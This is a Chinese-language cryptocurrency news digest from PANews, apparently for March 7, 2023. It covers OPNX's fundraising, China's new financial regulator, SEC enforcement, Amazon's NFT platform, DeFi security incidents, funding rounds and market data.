    PANews 3月7日消息，加密KOL、DeFi 研究员 Ignas 表示，Three Arrows Capital 创始人 Su Zhu 和 Kyle Davies 等人创办的加密索赔交易和衍生品的公共市场“OPNX”已经筹集了 2500 万美元。Zhu Su 转发了该推文。另外，OPNX 将收购 CoinFLEX 的所有资产，包括人员、技术和代币。FLEX 将是他们的主要代币。可能的品牌重塑为：将以 1:1 的比例交换（无锁定），类似于 AAVE/LEND 品牌重塑。Ignas 称，由于用户需要通过 KYC，不允许美国公民，因此将不会启用代币的提取，以避免代币与美国人互动的风险。 OPNX 将对类似的破产索赔进行分组，并将其代币化，这些代币化索索赔在订单簿交易所进行交易。OPNX 将允许以破产债权作为抵押品对主要资产进行永续合约交易。  ( 4 min )
    PA日报｜Scroll完成5000万美元融资；亚马逊将于4月24日推出其NFT平台
    今日要闻提示： 组建国家金融监督管理总局，统筹负责金融消费者权益保护 亚马逊将于4月24日推出其NFT平台“ Amazon Digital Marketplace” 彭博社：Meta因财务问题计划最快在本周再裁员数千人 Coinbase CEO：L2网络Base或会采取交易监控和反洗钱措施 CoinFLEX的重组申请已获得塞舌尔法院的批准 投资公司TrueBridge拟为新推出的区块链基金募资1.25亿美元 以太坊扩容项目Scroll以18亿美元估值完成5000万美元融资 币安储备证明系统新增11种代币，共24项资产的总储备超过630亿美元 监管消息 组建国家金融监督管理总局，统筹负责金融消费者权益保护 据新华社报道，根据国务院关于提请审议国务院机构改革方案的议案，组建国家金融监督管理总局。统一负责除证券业之外的金融业监管，强化机构监管、行为监管、功能监管、穿透式监管、持续监管，统筹负责金融消费者权益保护，加强风险管理和防范处置，依法查处违法违规行为，作为国务院直属机构。国家金融监督管理总局在中国银行保险监督管理委员会基础上组建，将中国人民银行对金融控股公司等金融集团的日常监管职责、有关金融消费者保护职责，中国证券监督管理委员会的投资者保护职责划入国家金融监督管理总局。不再保留中国银行保险监督管理委员会。 泰国将为发行投资代币的公司提供税收减免 据路透社报道，泰国财政部长 Arkhom Termpittayapaisith 周二发表声明称，泰国内阁已批准对在该国提供投资代币的加密货币公司免税（企业所得税和增值税）。该免税将适用于这些投资代币的一级和二级市场。此加密免税政策不涵盖Utility代币。Arkhom 表示，此类公司必须注册其代币产品才能享受税收减免。 泰国政府估计未来两年将有价值 1280 亿泰铢（37.1 亿美元）的投资代币发行，政府将损失价值 350 亿泰铢的税收。 美SEC起诉BKCoin及其联创涉嫌1亿美元的加密资产欺诈计划 美国证券交易委员会(SEC)宣布已对加密对冲基金BKCoin Management及其联合创始人Kevin Kang提起紧急诉讼，成功冻结资产、任命接管人和其他紧急救济人员，原因是该公司涉及加密资产欺诈计划。至少从2018年10月到2022年9月，BKCoin从至少55名投资者那里筹集了大约1亿美元用于投资加密资产，但BKCoin和Kang却将部分资金用于庞氏式支付和个人使用。 根据SEC的投诉，BKCoin和Kang向投资者保证他们的资金将主要用于交易加密资产，并表示BKCoin将通过单独管理的账户和五个账户为投资者产生回报私募基金，被告无视基金结构，混合投资者资产，并使用超过360万美元向基金投资者进行庞氏式支付。起诉书还称，Kang 挪用了至少371,000美元的投资者资金，其中包括支付假期、体育赛事门票和纽约市公寓的费用。Kang还试图通过向某些资金的第三方管理人提供银行账户余额虚增的篡改文件来掩盖未经授权使用投资者资金的行为。此外，BKCoin向一些投资者严重歪曲了BKCoin或其中一只基金收到了“四大审计师”的审计意见，而实际上BKCoin和任何基金都没有收到任何审计意见。 美SEC正增加员工以调查加密行业违反证券法的行为 据福布斯报道，美国证券交易委员会（SEC）正在增加员工人数，增强审查、调查、审计、检查和可能起诉与这些新加密产品和交易活动相关的证券法违法行为的能力。新增的工作人员将包括监管人员、调查人员律师、欺诈分析师和出庭律师，重点调查以下方面违反证券法的行为：加密资产发行、交易以及借贷和质押产品、DeFi平台、NFT和稳定币。 SEC主席Gary Gensler在公告中表示，“执法部门的加密资产和网络部门已经成功地对那些试图利用加密市场投资者的人提起了数十起诉讼。通过将这一关键部门的规模扩大近一倍，美国证券交易委员会将能够更好地监管不法行为在加密市场，同时继续识别与网络安全有关的披露和控制问题。” NFT 亚马逊将于4月24日推出其NFT平台“ Amazon Digital Marketplace” 据Coingape报道，科技巨头亚马逊将于4月24日推出其NFT平台“Amazon Digital Marketplace”，自推出之日起将有15个NFT系列可供选择。该平台将首先向美国客户提供该服务，然后逐步推广至其他国家。此外，NFT系列将在亚马逊网站上提供，点击“Amazon Digital Marketplace”选项卡即可查看。NFT只能从亚马逊账户和信用卡购买。通过亚马逊平台的NFT服务允许无法访问Metamask等加密钱包的人购买 NFT。 今日消息，消息人士表示，亚马逊NFT将与真实资产挂钩，或于自研私链上发行。 NFT系列TwelveFold拍卖已结束，最高出价超7 BTC Yuga Labs发推文宣布，基于Ordinal协议的NFT系列TwelveFold拍卖已经结束，前288名投标人将在一周内收到铭文。未排在前288位的有效投标将在24小时内将其投标金额退回到接收地址。 官方数据显示，排名前288位的出价均在2 BTC以上，最高出价为7.1159 BTC。 今日晚些时候消息，Yuga Labs提醒赢得TwelveFold拍卖者需提前清空接受地址。 Dapper Labs已不再支持ACH提现，但仍支持通过电汇和USDC提现 据CoinDesk报道，NFT开发商Dapper Labs表示，由于其支付伙伴Circle删除对应功能，因此已不再支持ACH（自动清算中心）提现选项，但将继续支持通过电汇和USDC提现。 曾经为加密货币提供服务的银行Silvergate Bank面临重大的财务压力和监管审查，导致过去一个月大多数Silvergate客户停止使用其ACH服务，包括Coinbase、Circle、Paxos和Crypto com等。 NFT系列Mocaverse已铸造4268枚，铸造将于3月8日6时结束 Animoca Brands旗下NFT系列Mocaverse已于北京时间3月7日6:00开放铸造，持续24小时（即截止于3月8日6:00），铸造价格为0.138 ETH（或同等价值的其他代币，如APE、USDC、SAND等）。Mocaverse总量共8888个，每个角色都属于五个部落之一：梦想家、建设者、天使、连接者和新资本家。官方数据显示目前已铸造4268枚。 此前去年12月消息，Animoca Brands宣布推出NFT系列Mocaverse，以增强Web3社区联系。Mocaverse参与资格标准包括Animoca Brands的机构及散户投资者，Animoca Brands及其子公司的员工、Animoca Brands Web3投资组合中公司的管理团队、Animoca Brands的合作伙伴、以及Mocalist成员。 Getty Images将与NFT平台Candy Digital合作以NFT的形式出售稀有照片 据The Block报道，摄影巨头 Getty Images 将与 NFT 平台 Candy Digital 合作以 NFT 的形式出售稀有照片。该系列包括 1970 年代著名摄影师的几幅标志性图像。该系列将于 3 月 21 日在 Candy 的网站上发售，价格从 25 美元到 200 美元不等。它将面向美国（和地区）、澳大利亚、加拿大、法国、德国、香港、日本、葡萄牙、西班牙和英国的买家发售。 作为发布的一部分，Candy Digital 还将在 3 月 7 日至 3 月 15 日期间赠送免费的介绍性 NFT。 元宇宙 彭博社：Meta因财务问题计划最快在本周再裁员数千人 据彭博社报道，知情人士透露，Facebook和Instagram的母公司Meta Platforms Inc.正计划进行新一轮裁员，最快将于本周裁减数千名员工。知情人士表示，即将到来的一轮削减是由财务目标推动的，与“扁平化”的计划是分开的；Meta已经看到广告收入放缓，并将重点转移到名元宇宙虚拟现实平台，一直在要求董事和副总裁列出可以解雇的员工名单；这一阶段的裁员可能会在下周完成，该公司希望在首席执行官扎克伯格为他的第三个孩子休育儿假之前准备好裁员，因此裁员可能迫在眉睫的。 Meta发言人周一拒绝就这些计划置评。知情人士表示，一些员工表示担心，如果他们提前失业，他们是否能收到定于本月发放的奖金。 项目动态 Lido：发现影响stMATIC取款的漏洞，已暂停Polygon上的质押和取款功能，所有资金仍安全 流动性质押协议Lido在推特发文称，由于发现了影响stMATIC取款的漏洞，Lido在Polygon上的质押和取款功能已暂停以进行故障排除。所有资金都是安全的，存取款将在未来几天内恢复。当用户请求在多个节点之间分配大量提现金额时，就会出现此问题。在故障排除期间，不会累积奖励。当恢复正常运营后，将发放追溯奖励。一份完整的事后分析报告将在未来几周内公布。 Alameda起诉Grayscale，要求赎回信托份额和降低管理费 据CoinDesk报道，据一份新闻稿称，FTX关联公司Alameda Research已对加密资产管理公司Grayscale Investments提起诉讼，以寻求禁令救济。该诉讼在特拉华州衡平法院提起，并向Grayscale首席执行官Michael Sonnenshein和Grayscale母公司DCG及其首席执行官Barry Silbert提出了索赔。Alameda在诉讼中表示，仅在过去两年里，Grayscale就违反信托协议，收取了超过13亿美元的“过高管理费”。此外，该公司使用“编造的借口”来阻止股东赎回他们的股票，导致信托股票交易价格比资产净值低约50%。如果Grayscale降低管理费并允许赎回，FTX债务人的股票将至少价值5.5亿美元，比当前价值高出约90%。FTX首席执行官兼首席重组官John J. Ray III在一份声明中表示，将继续使用一切工具，最大限度地为FTX客户和债权人追回资金。 Coinbase CEO：L2网络Base或会采取交易监控和反洗钱措施 据Cryptoslate报道，Coinbase首席执行官Brian Armstrong表示，公司最新推出的以太坊L2网络Base可能会采取交易监控和反洗钱措施。他坦言Base将具有一些“中心化组件”，但会随着时间的推移变得越来越去中心化，现在需要在交易监控方面负有责任，这意味着尽管Base将向所有开发人员开放，但最终将成为“Coinbase链上产品的大本营”。据推测，Coinbase与Base集成的任何现有产品都将维持其原始的KYC/AML措施。 Fantom主网发布新版本，交易或区块处理时间缩短约30% 据官方博客，Fantom基金会宣布发布Fantom主网的新版本（go-opera版本1.1.2-rc.5），升级内容包括P2P和事件/区块处理得到显著改进，使得交易/区块处理时间缩短约30%；Genesis file处理速度最多快3倍（存档Genesis file除外）。 此外，新版本对数据库层做了一些调整，可以集成多种数据存储类型（LevelDB和PebbleDB），还支持用于创世处理和去同步化数据刷新的数据库批处理。 美国法院拒绝SEC主要证人作证，Ripple根据最新法院裁决提交“合理通知”辩护 据Blockworks和U.today报道，美国证券交易委员会(SEC)和Ripple Labs之间正在进行的法律斗争随着一项新的法院裁决继续进行。法院现在已经对双方的动议做出了裁决，即决判决和审判中不考虑专家证词。在判决中，法官Analisa Torres批准了部分动议，驳回了其他动议，原告和被告都没有占上风。然而，该裁决的一个关键结果是排除了1号专家Patrick Doody就合理的瑞波币购买者的看法作证。值得注意的是，SEC此前曾聘请Doody来分析代币购买者的期望，但法官现在批准了Ripple的动议，排除他的证词。没有Doody的证词，目前尚不清楚SEC将如何证明投资者对XRP有“合理的”利润预期。 此外，Ripple最近提交的文件指向了最高法院最近就Bittner案的一项裁决，该裁决涉及Ripple律师采用的所谓“合理通知”辩护。美国宪法的正当程序条款要求个人被公平告知哪些行为是法律禁止的。对于Ripple来说，公平通知的辩护为：它不可能知道要在证券监管机构注册XRP，因为该机构从未就加密环境下的证券构成提供足够明确的说明。Ripple Labs的律师认为Bittner和Ripple高管之间存在相似之处，并表示Bittner最近的裁决类似于它与SEC的斗争，应该予以考虑。Ripple Labs依赖于SEC之前的声明和行动，这些声明和行动使他们明白XRP不是证券，或者说它的辩护是这样的。因此，该公司没有理由相信他们违反了证券法。 公链Sui 0.28新版本将涵盖引入新编程交易类型、字节调整等更新 Layer1公链Sui Network发布下一个版本0.28的重大变化，该版本可能会导致现有应用程序和实现停止按预期运行，下周官方将发布包括有关如何解决或更新可能因这些更改而中断的项目的信息。 根据该具体功能更改包括：1.新的可编程交易功能引入了一种新的交易类型，它取代了批处理交易和普通事务(特殊系统事务除外)，这些交易允许执行一系列命令（各种迷你交易），其中命令的结果可用于后续命令。2.SuiAddress和ObjectID从20字节调整到32字节（在十六进制中，从40增加到64）；3.更改Gas预算以使用SUI而不是Gas单位等等。 Algorand基金会：MyAlgo钱包正接受审计并呼吁用户提取资金，Algorand协议安全 针对MyAlgo钱包攻击事件，Algorand基金会今日在推特上表示：“我们针对Algorand协议和SDK进行了尽职调查，但没有发现任何漏洞。Algorand协议是安全的，并且没有被破坏。在调查过程中，我们一直与MyAlgo团队保持密切沟通，但需要澄清的是，MyAlgo是第三方钱包提供商，与Algorand公司或Algorand基金会没有直接联系。MyAlgo告诉我们，他们还没有发现任何安全问题，正在继续审计平台，等待来自CDN、VPS提供商等的数据。作为预防措施，MyAlgo已要求所有用户将他们的资产从与其平台交互过的钱包中移出。MyAlgo的用户现在应该将资金提取到新创建的账户(在MyAlgo之外)，或者重新输入到在MyAlgo之外创建的另一个钱包或硬件钱包。” 今日凌晨，MyAlgo官方发推文称：“所有用户必须尽快提取资金或将资金重新存入新账户，不要等，立即创建新账户。” 此前消息，MyAlgo钱包于2月19日至21日遭遇攻击，致Algorand上超920万美元资产被盗。 破产法官：不能因监管机构间难以理清的权力之争拖延Voyager的破产重组 据Coindesk报道，周一Voyager破产听证会已进入第三天，虽然听证会的前两天重点询问与Voyager、Binance US和其他参与拟议交易的其他相关人士，但第三天更侧重于对Voyager出售计划本身的反对意见。纽约南区破产法院的美国破产法官Michael Wiles表示，双方试图在“合理的范围内”给予SEC监管自由，但破产本身更为紧迫。SEC高级出庭律师Therese Scheuer反对提案中的一些披露，而法官似乎对这一点持异议。 法官Michael Wiles表示：“我不知道我能无所事事地等多久，直到国会和相互竞争的监管机构彼此理清，谁对这件事的哪些方面有什么权力，什么样的权力。我不知道这需要多长时间，我们不能在破产时这样做。我们不能仅仅因为不确定监管机构最终将如何就他们似乎争论了多年的问题做出决定，就把一切都搁置起来。” 美国受托人办公室、德克萨斯州总检察长办公室和纽约金融服务部的代表也在听证会上发表了意见。法官表示，他可能会在周二恢复听证会时尽快做出决定。 此前昨日消息，Voyager表示，若与Binance.US的10亿美元交易延迟，将使公司每月损失1000万美元。今日晚些时候消息，破产法官表示，美SEC不可就发行破产代币惩罚Voyager高管。 去中心化社交项目Bluesky支持通过自定义域名注册账户 据官方博客，由Twitter创始人Jack Dorsey资助的去中心化社交项目Bluesky宣布已支持用户将自定义域名注册作为该应用程序的Handle。自定义域名Handle是Bluesky改善信任状态和控制用户在线社交身份的一种方式。它建立在现有的DNS基础设施之上。Bluesky表示：“我们很高兴这一功能能够作为协议功能路线图中的第一步发布，这将创建一个更受用户控制的社交网络。” CoinFLEX的重组申请已获得塞舌尔法院的批准 加密交易所CoinFLEX发布公告称，重组申请已获得塞舌尔法院的批准。CoinFLEX预计法院将在本周公布书面命令。锁定资产（LUSD、LETH 等）的交易已停止。CoinFLEX希望尽快实施重组，并在法院命令发布后24小时内不会重启锁定资产交易，以便让所有锁定资产持有人充分了解情况。CoinFLEX将在收到书面法庭命令后详细说明后续步骤。 Tender.fi暂停所有借贷，疑似遭白帽黑客攻击 Arbitrum 生态借贷协议 Tender.fi 疑似遭受攻击，官方发推表示，目前正在调查该协议异常数量的借贷，已暂停所有借贷。 据 0xScope 研究员 Cobie 分析称，本次事件为白帽黑客所为，其留言表示 Tender.fi 的预言机配置有错误，试图与 Tender.fi 取得联系，目前初步预估有 160 万美元资金受到本次事件影响。 融资消息 以太坊扩容项目Scroll以18亿美元估值完成5000万美元融资 据The Block报道，使用 zk-rollups 技术的以太坊第 2 层网络Scroll在新一轮融资中筹集了 5000 万美元。投资者包括 Polychain Capital、红杉中国、Bain Capital Crypto、Moore Capital Management、Variant Fund、Newman Capital、IOSG Ventures 和Qiming Venture Partners。Scroll 拒绝就该轮融资的估值和结构发表评论，但一位直接了解此事的消息人士告诉 The Block，该轮融资使 Scroll 的估值达到 18 亿美元。 Scroll 此前在两轮融资中筹集了3300 万美元，当时并未披露其估值。新一轮融资使 Scroll 迄今的总融资额达到 8300 万美元。有了新资金，Scroll 计划继续构建其产品、启动其主网并扩展其生态系统。它还希望在不久的将来将其目前的团队规模从大约 60 人增加到近 100 人。 投资公司TrueBridge拟为新推出的区块链基金募资1.25亿美元 据Wraltechwire报道，根据美国证券交易委员会流出文件显示，由资深投资者Mel Williams和Edwin Poston领投的投资公司TrueBridge Capital已推出了一个新区块链基金“TrueBridge Blockchain I”，目前正在为该基金寻求总计1.25亿美元的资金，截止目前已有39个投资者签署了投资承诺并将投资5530万美元。 矿业消息 比特币矿企TeraWulf的核动力比特币挖矿设施已开始运营 据CoinDesk报道，比特币矿企TeraWulf位于美国宾夕法尼亚州的核动力比特币挖矿设施Nautilus Cryptomine已开始运营，共有近8000台矿机开始工作，算力约1.0 EH/s，此外未来几周内将有另外8000台矿机投入挖矿，产能到5月达到1.9 EH/s。TeraWulf预计到第二季度初其总算力将达到5.5 EH/s。 重要数据 币安储备证明系统新增11种代币，共24项资产的总储备超过630亿美元 币安宣布其储备证明 (PoR) 系统中添加了另外 11 种代币资产，包括 MASK、ENJ、WRX、GRT、CHR、CRV、1INCH、CVP、HFT、SSV 和 DOGE，截止2023 年 3 月 1 日 00:00:00 UTC，共 24 项储备资产的总储备超过 630 亿美元。 嘉楠耘智2022年全年收入约为6.35亿美元，利润约为2.5亿美元 矿机生产商嘉楠耘智今日发布未经审计的2022年第四季度财报，2022 年第四季度收入为 5680 万美元，较 2022 年第三季度的 1.419 亿美元下降 59.9% ， 2022 年第四季度的净亏损为 6360 万美元。此外，嘉楠耘智全年财报中显示， 2022 年全年收入为 6.349 亿美元，相比 2021 年的 7.23 亿美元下降 12.1% 。2022 年全年利润为 2.534 亿美元，相比 2021 年的 4.137 亿美元下降 38.8%。 CoinShares：上周数字资产投资产品净流出1700万美元 据CoinShares周报数据，上周数字资产投资产品净流出 1700 万美元，连续第 4 周出现负面情绪。其中比特币连续第 4 周流出，本周总计流出 2010 万美元，以太坊本周净流入 700 万美元。而空头比特币连续第三周流入总计 180 万美元。区块链股票上周流入 160 万美元。本周投资产品的成交量较低，为 8.44 亿美元，但整个比特币市场成交量也出现类似情况，平均为 570 亿美元，比平时低 15%。从地区来看，市场情绪似乎发生了逆转，美国的资金流入总额为 760 万美元，而欧洲的资金流出量为 2300 万美元。 数据：某巨鲸从币安、OKX等交易所提取360万枚MASK，约合1480万美元 Lookonchain数据显示，一巨鲸地址通过多个地址从币安、OKX、KuCoin和Huobi提取约360万枚MASK（约1480万美元）。MASK代币价格今天从3.27美元上涨到4.16美元，涨幅达27%。 Lookonchain分析称，据统计，0xEf7C开头地址历史上的MASK转入大多会导致MASK的价格上涨，转出会导致MASK价格的下降。该地址从Upbit提取0.5 ETH作为Gas费，并且是Upbit的用户。Upbit宣布今天15:00将开放MASK现货交易。该地址也许会将MASK转到Upbit出售。  ( 6 min )
2023-04-06T01:55:08.483Z osmosfeed 1.15.4